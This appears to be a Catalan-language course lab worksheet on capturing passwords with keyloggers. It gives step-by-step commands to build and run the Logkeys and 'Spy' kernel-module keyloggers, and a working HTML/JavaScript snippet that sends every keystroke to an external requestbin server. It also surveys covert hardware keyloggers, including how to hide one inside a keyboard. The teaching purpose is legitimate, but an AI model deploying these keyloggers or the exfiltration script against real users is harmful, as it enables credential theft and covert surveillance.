"CRACKING" DE CONTRASENYES (amb *keyloggers*)

En comptes d'haver d'endevinar una contrasenya a partir del seu "hash", una alternativa més fàcil és deixar funcionant un keylogger al sistema a espiar, alternativa que ens permetrà no només esbrinar la contrasenya d'inici de sessió sinó totes les demés (correu, xarxes socials, etc).

Un keylogger tant pot ser de tipus hardware com de tipus software: en el primer cas estaríem parlant d'un dispositiu que es connecta en sèrie al port (normalment USB) de la torre on s'endolla el teclat de tal manera que pugui emmagatzemar en el seu interior (o fins i tot, segons el model, enviar via WiFi a un destí concret) totes les tecles polsades detectades. En el segon cas estaríem parlant d'un mòdul del kernel Linux dissenyat específicament per funcionar "a l'ombra" per anar igualment emmagatzemant i/o enviant les tecles polsades detectades.

1.- a) Segueix les instruccions de compilació i instal.lació del keylogger "Logkeys" detallades a continuació (extretes de la seva web, https://github.com/kernc/logkeys)

Si estàs en un sistema Fedora: *sudo dnf install automake make gcc gcc-c++ kbd*
Si estàs en un sistema Ubuntu: *sudo apt install build-essential autotools-dev autoconf kbd*
wget https://github.com/kernc/logkeys/archive/master.zip
unzip master.zip
cd logkeys-master
./autogen.sh
cd build
../configure && make && sudo make install

aII) Descarrega un fitxer que representa el mapa de teclat en espanyol, executant (per exemple dins de la carpeta "logkeys-master"): *wget https://raw.githubusercontent.com/kernc/logkeys/master/keymaps/es_ES.map*

b) Executa en un terminal la comanda *sudo logkeys -s -m /ruta/arxiu/es_ES.map --no-func-keys* Seguidament, obre un altre terminal i executa *sudo tail -f /var/log/logkeys.log***.** ¿Què veus?

NOTA: Per aturar el keylogger cal executar *sudo logkeys -k* . Per saber més paràmetres possibles, consulteu *man logkeys*
NOTA: Per aconseguir que el keylogger es posi en marxa automàticament en iniciar el sistema caldria construir un arxiu ".service" adient. Això ho estudiarem més endavant, en tractar el tema de Systemd
NOTA: Aquest keylogger té l'opció d'enviar per xarxa (mitjançant el protocol POST) les tecles detectades a un servidor remot (i així no haver-les de tenir emmagatzemades a la màquina víctima).
NOTA: Per desinstal.lar aquest keylogger només caldria fer: *cd logkeys-master/build && sudo make uninstall*
NOTA: Tingueu en compte que si executeu el keylogger des d'una sessió SSH (que pot passar si estem treballant amb una màquina virtual) no enregistrarà res, ja que l'eina no estarà detectant cap pulsació de tecla física sinó que el sistema estarà reaccionant a la informació rebuda a través de paquets xarxa
NOTA: Un altre keylogger interessant, especialitzat en aquest cas en escoltar allò escrits per clients SSH que es connecten a la nostra màquina (que estarà funcionant com a servidor SSH) és https://github.com/nopernik/SSHPry2.0 . Una altra eina similar és https://www.thc.org/ssh-it
NOTA: Una llibreria que es pot utilitzar per desenvolupar scripts Python amb capacitats de "keylogging" (i d'escolta de molts altres events d'entrada, com moviments de ratolí, etc) a més de poder injectar events "artificialment" és "Evdev" (https://python-evdev.readthedocs.io/en/latest/usage.html)

2.-a) Una tècnica diferent de desenvolupar keyloggers és dissenyant-los en forma de mòdul del kernel (és a dir, com a "tros acoplable" directament en el propi kernel en comptes de com una aplicació separada com era *logkeys*). En aquest sentit ens trobem, per exemple, "Spy" (https://github.com/jarun/spy). Segueix les instruccions de compilació i càrrega detallades a continuació (extretes de la seva web):

Si estàs en un sistema Fedora: *sudo dnf upgrade kernel-core && sudo dnf install kernel-devel && reboot*
Si estàs en un sistema Ubuntu: *sudo apt install linux-headers-generic && reboot*
git clone https://github.com/jarun/spy
cd spy
make && sudo insmod kisni.ko

NOTA: La darrera comanda és la que carrega el mòdul (recentment compilat amb *make*), el qual s'anomena "kisni.ko"

b) Comprova que el mòdul "kisni" estigui efectivament carregat observant que apareix a la llista de mòduls carregats que mostra la comanda *lsmod* Executa també la comanda *dmesg* per trobar el missatge (i l'instant) concret on el kernel notifica que el mòdul "kisni" és carregat.

c) Les tecles polsades es guarden en un sistema de fitxers temporal volàtil gestionat directament pel kernel anomenat "debugfs" (en concret, en l'arxiu "/sys/kernel/debug/kisni/keys") al qual només hi té accés l'usuari root. Executa *sudo cat /sys/kernel/debug/kisni/keys* , tot seguit executa la comanda *ls* i finalment torna a executar *sudo cat /sys/kernel/debug/kisni/keys* . ¿Què veus?

> NOTA: Per descarregar el keylogger només cal executar la comanda estàndard de descàrrega de mòduls*: sudo rmmod kisni* L'arxiu "/sys/kernel/debug/kisni/keys" desapareixerà automàticament
> NOTA: Per aconseguir que el keylogger es posi en marxa automàticament en iniciar el sistema caldria seguir els passos concrets que ofereix la distribució en qüestió per carregar automàticament mòduls de kernel. Ho estudiarem més endavant

3.-a) Vés, amb un navegador qualsevol, a https://public.requestbin.com/r. Veuràs que aquest enllaç et genera dinàmicament un servidor propi amb un nom similar a https://xxxx.y.pipedream.net (on "xxxx.y" és una cadena aleatòria); aquest nom serà el que hauràs de fer servir al codi següent indicat a l'apartat següent

b) Copia el següent codi HTML+Javascript dins d'un arxiu amb extensió ".html" i tot seguit fes-hi doble clic: hauràs de veure una pàgina web amb un "textarea". Escriu (poc a poc) alguna cosa dins d'aquest "textarea" i tot seguit vés a l'adreça https://xxxx.y.pipedream.net ¿Què veus a la part esquerra de la pàgina, on es mostren les dades que aquesta pàgina va rebent?

```
<!DOCTYPE html>
<html><body>
<!-- Carreguem la llibreria JQuery, que té el mètode jQuery.ajax(), usat per enviar dades a un destí remot -->
<script src ="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
//Aquesta codi és el que "posa en marxa" (en carregar-se la pàgina) el "keylogger", omplint de contingut l'event "keydown"
window.onload = function () {
        window.addEventListener("keydown", function (event) {
                jQuery.ajax({
                        type:"POST",
                        url: "https://xxxx.y.pipedream.net",   //Caldria reemplaçar-ho per la URL adient (o una pròpia)
                        async:false,
                        data:{ key:event.key }
                 });
        });
}
</script>
<textarea></textarea>
</body></html>
```

> NOTA: No importa si ara mateix no s'entenen tots els detalls del codi anterior o del servidor PTSV2 utilitzat; amb aquest exercici només es pretén mostrar el relativament senzill que és incrustar un "keylogger" en el codi de qualsevol pàgina web El codi usat en aquest exercici està inspirat en https://underdog1987.wordpress.com/2018/02/25/keylogger-en-javascript

4.-A partir d'analitzar la taula següent, respon les preguntes que es formulen a continuació:

Producte	**Característiques**
https://www.keelog.com/usb-keylogger	Intermediari USB entre el sòcol de l'ordinador i el teclat Conté una tarja de 16GB d'emmagatzematge
https://www.keelog.com/timestamp-keylogger	Similar al "USB Keylogger" però permet guardar, juntament amb la tecla, l'hora en què s'ha detectat la seva pulsació (gràcies a portar una bateria interna)
https://www.keelog.com/keygrabber-pico	Similar al "USB Keylogger" però d'una mida més petita

https://www.keelog.com/keygrabber-keylogger	Similar al "Keygrabber Pico" però d'una mida encara més petita. Conté una tarja de 16MB però la versió "Max" la té de 16GB. Les versions "Max" i "Pro", a més de poder ser keyloggers, poden també injectar pulsacions de tecles a la carta a partir de l'execució de determinats codis embeguts, escrits en un llenguatge d'scripting propi (https://www.keelog.com/files/KeystrokeScripting.pdf)
https://www.keelog.com/keygrabber-forensic	Idèntic al "Keygrabber Keylogger" però en forma de cable
https://www.keelog.com/hardware-keylogger	Similar en mida i funcionalitat al "Keygrabber Pico" però incorpora a més un punt d'accés WiFi per tal de connectar-s'hi des de qualsevol altre dispositiu de la mateixa xarxa i així observar (via navegador només) les tecles recollides (a més d'altres accions, com descarregar les dades obtingudes, reconfigurar el dispositiu, etc). La seva versió "Pro" permet fer-lo servir a més de com a punt d'accés, com a simple dispositiu WiFi (el qual podrà enviar les dades -amb timestamp- a través de l'enviament de mails periòdics o bé d'streaming en temps real a través d'un punt d'accés estàndard).
https://www.keelog.com/airdrive-keylogger	Similar en mida i funcionalitat al "Keygrabber Keylogger" afegint la funcionalitat WiFi del "Hardware Keylogger"
https://www.keelog.com/forensic-keylogger	Cable similar al "Keygrabber Forensic" afegint la funcionalitat WiFi del "Hardware Keylogger"
https://www.keelog.com/keylogger-keyboard	Teclat que porta el chip keylogger ja dins seu. Es comercialitza en diverses versions, tant incorporant el "Keygrabber Pico", com el "Keygrabber Keylogger" o el "Hardware Keylogger" o "Hardware Keylogger Pro", etc.

NOTA: Un keylogger molt semblant al "Hardware Keylogger" mencionat a la taula anterior és el fabricat per l'empresa Maltronics (http://docs.maltronics.com/keyloggers) . Una breu guia del seu ús i configuració es pot trobar a http://docs.maltronics.com/keyloggers/usage . Igualment, existeix una versió "Pro" que permet fer servir el keylogger com a dispositiu WiFi a més de com punt d'accés; les seves funcionalitats concretes venen descrites en http://docs.maltronics.com/keyloggers/usage/pro-features . D'altra banda, per saber com integrar aquest keylogger dins d'un teclat estàndard per a què quedi ocult, consulteu la guia http://docs.maltronics.com/keyloggers/internal-keylogger

NOTA: Un altre "keylogger" pur que també disposa de funcionalitat WiFi i que, a més, té els dissenys publicats amb llicència open-source per a què qualsevol persona el pugui implementar a mà (és bàsicament una placa Arduino programada amb un determinat firmware) és https://github.com/joelsernamoreno/WiFiKeylogger Si es vol que el "keylogger" disposi, a més, de tarja SD per grabar-hi "in situ" les tecles, un altre disseny open-source està disponible en https://github.com/joelsernamoreno/EvilCrow-Keylogger

NOTA: Un keylogger molt semblant al "Forensic Keylogger" mencionat a la taula anterior (i, per tant, en forma de cable funcionant com a punt d'accés WiFi) és l'anomenat "O.MG Cable", fabricat per l'empresa Ha5 (https://shop.hak5.org/products/o-mg-cable-usb-a) i que es distribueix en dues variants: una només amb la capacitat d'injectar pulsacions de tecles i una altra, a més, amb la capacitat de funcionar com a "keylogger". D'altra banda, la mateixa empresa ven un dispositiu USB que permet detectar cables similars al "Forensic Keylogger" o el "O.MG" (es troba descrit a https://shop.hak5.org/collections/mischief-gadgets/products/malicious-cable-detector-by-o-mg). Un altre "keylogger" també amb funcionalitat WiFi i amb capacitats d'injectar pulsacions de tecles distribuït per la mateixa empresa Ha5 és el dispositiu anomenat "Key-croc" (https://shop.hak5.org/products/key-croc); es pot consultar els detalls del seu funcionament aquí: https://docs.hak5.org/hc/en-us/categories/360003797793-Key-Croc

a) Vés a la pàgina web corresponent al producte "USB Keylogger" i llegeix l'apartat "Playback mode" per saber (i dir) què passa si pulses les tecles K+B+S a la vegada quan aquest keylogger hardware està endollat a una determinada màquina. Un cop sabut això, segueix llegint el següent apartat de la mateixa pàgina per saber (i dir) com es podria canviar aquesta combinació per una altra.

aII) Segueix llegint el següent apartat de la mateixa pàgina per saber (i dir) per a què serveix l'arxiu "LAYOUT.USB" i d'on es pot obtenir.

b) ¿Quina diferència hi ha entre el producte "Timestamp Keylogger" i el "USB Keylogger"?

c) ¿Per què creus que és preferible emprar el producte "Keygrabber Forensic" en lloc de l'"USB Keylogger"?

d) ¿Quina avantatge fonamental aporta el producte "Hardware Keylogger" en relació als productes anteriors?

e) ¿Per què creus que és preferible emprar el "Forensic Keylogger" en lloc del "Hardware Keylogger"?

f) ¿El producte "Airdrive Keylogger" pot injectar tecles? ¿I pot funcionar via WiFi?

g) ¿Per què creus que seria preferible emprar el producte "Keylogger Keyboard" (versió amb injector de tecles o no i/o amb o sense WiFi) en lloc de qualsevol dels productes anteriors?